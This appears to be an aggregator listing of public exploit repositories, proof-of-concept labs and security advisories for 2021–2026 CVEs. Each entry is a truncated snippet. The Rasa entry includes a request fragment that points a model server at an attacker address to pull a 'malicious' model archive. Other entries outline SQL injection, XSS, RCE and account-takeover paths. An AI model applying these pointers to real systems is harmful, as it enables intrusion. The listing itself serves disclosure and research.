Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Just run it directly python server-1.py Arbitrary File Upload PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effect as follows: CVE-2021-41127 server-1.py Default model name: evilimportmodel.tar.gz Malicious mod...

CVE-2026-5513

CVE-2026-5513 — Bookly ≤ 27.2 Stored XSS via Cookie Overview Field| Value ---|--- CVE ID| CVE-2026-5513 Vulnerability| Stored Cross-Site Scripting XSS Plugin| Bookly — Online Scheduling and Appointment Booking System Affected| ≤ 27.2 Patched| 27.3+ CVSS 3.1| 7.2 High —...

CVE-2026-47670

CVE-2026-47670 Authenticated Remote Code Execution via loadReader functionName code injection in DbGate DbGate is an open-source, cross-platform database management tool designed for developers and database administrators who need to work with multiple database systems simultaneously. It provides...

freepbx-endpoint-sqli-rce

CVE-2025-57819 — FreePBX Endpoint Module SQL Injection → Remote Code Execution Summary FreePBX is the open-source web GUI for Asterisk PBX, widely deployed in enterprise telephony environments. The Endpoint Manager module exposes an AJAX handler at /admin/ajax.php that accepts a brand parameter a...

CVE-2026-37072

CVE-2026-37072 Veno File Manager Project Veno File Manager Project 4.4.9 is vulnerable to Incorrect Access Control in admin-head-updates.php An unauthenticated attacker can exploit a Local File Inclusion vulnerability in the 'lang' GET parameter. By sending a specially crafted POST request with t...

CVE-2024-36401-poc

CVE-2024-36401 — GeoServer OGC XPath Injection RCE Unauthenticated Remote Code Execution exploit for GeoServer via OGC filter valueReference parameter injection XPath/JXPath evaluation. Disclaimer: This tool is intended for authorized penetration testing and security research only. Do not use...

struts-uploader-vulnerability

CVE-2024-53677 — How the Exploit Works and How to Run It Vulnerability summary The flaw is in how Struts' FileUploadInterceptor hands off the uploaded filename to the action class. Normally the interceptor sanitizes the filename, but Struts also lets any multipart parameter be processed as an OGN...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

php2shell checker Find out if your PHP site is exposed to p...

CVE-2025-13673

CVE-2025-13673 — Tutor LMS SQL Injection Lab Unauthenticated SQL Injection in Tutor LMS WordPress plugin = 3.9.6 via the couponcode parameter. Quick Start 1. Clone and start the lab git clone https://github.com/dinosn/CVE-2025-13673.git cd CVE-2025-13673 ./setup.sh Deploys WordPress + Tutor LMS...

CVE-2026-8054

1. Vulnerability Overview CVE-2026-8054 is a high-severity pre-authentication SQL injection vulnerability Pre-auth SQL Injection in the dotCMS Core Publish Audit API. The vulnerability is officially tracked as Security Incident SI-75 and was formally disclosed at the end of May 2026. Since...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

php2shell-check CVE-2026-109618 / CVE-2026-109619 !CIht...

yoloai

yoloAI Sandboxed runner for AI coding agents. No permission fatigue, no credentials in the box, no changes to your project until you approve them. AI coding agents work best with the guardrails off, and that's a terrible way to run them on your real machine. yoloAI gives the agent a disposable...

CVE-2026-5076

☠️ CVE-2026-5076 ARMember Premium = 7.3.1 Insecure Password Reset Mechanism → Full Admin Account Takeover Plaintext Password Reset Keys Stored in Database + SQL Injection = Complete Admin Takeover 📋 Vulnerability Information Item| Detail ---|--- CVE ID| CVE-2026-5076 Plugin| ARMember – Membership...

Exploit for Improperly Controlled Sequential Memory Allocation in Php

cve-check Shell scripts that check Linux hosts for known vu...

CVE-2026-1581-Analysis-Lab

CVE-2026-1581 — wpForo Forum GET'wpfob' → wpforosanitizeorderby..., context, default Behav...

Important: Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

An update for Red Hat Hardened Images RPMs is now available. This update includes the following RPMs: php: php-8.5.12-1.hum1 aarch64, s390x, x8664 php-bcmath-8.5.12-1.hum1 aarch64, s390x, x8664 php-cli-8.5.12-1.hum1 aarch64, s390x, x8664 php-common-8.5.12-1.hum1 aarch64, s390x, x8664...

php: OOM bailout during request parsing leads to memory corruption and RCE

A flaw was found in PHP's memory limit handling during request parsing. PHP records certain state as ready for use before all required memory allocations complete. If an allocation fails due to memory exhaustion, the incomplete state is not rolled back. Subsequent cleanup operations treat the...

php: fatal error handling retains stale request state leading to use-after-free

A flaw was found in PHP's error handling and worker process state management. PHP contains error handling, object, and extension state that is retained by the process but points to memory owned by a single request. A fatal error can interrupt an operation or cleanup phase before that state is...

CVE2026-42926

CVE-2026-42926 NGINX HTTP/2 Frame Injection Lab A controlled cybersecurity lab for validating and comparing behavior related to CVE-2026-42926 , an HTTP/2 frame injection issue affecting specific NGINX versions when a vulnerable proxy configuration is used. This repository is intended for defensi...

STrace

STrace Steve's Tracer. A DTrace on windows syscall hook reimplementation. Think of this like a patchguard compatible SSDT hook, but without hacks. This doesn't support SSSDT win32k apis, as the DTrace system call APIs themselves do not support this additional table. Zw kernel apis can be traced i...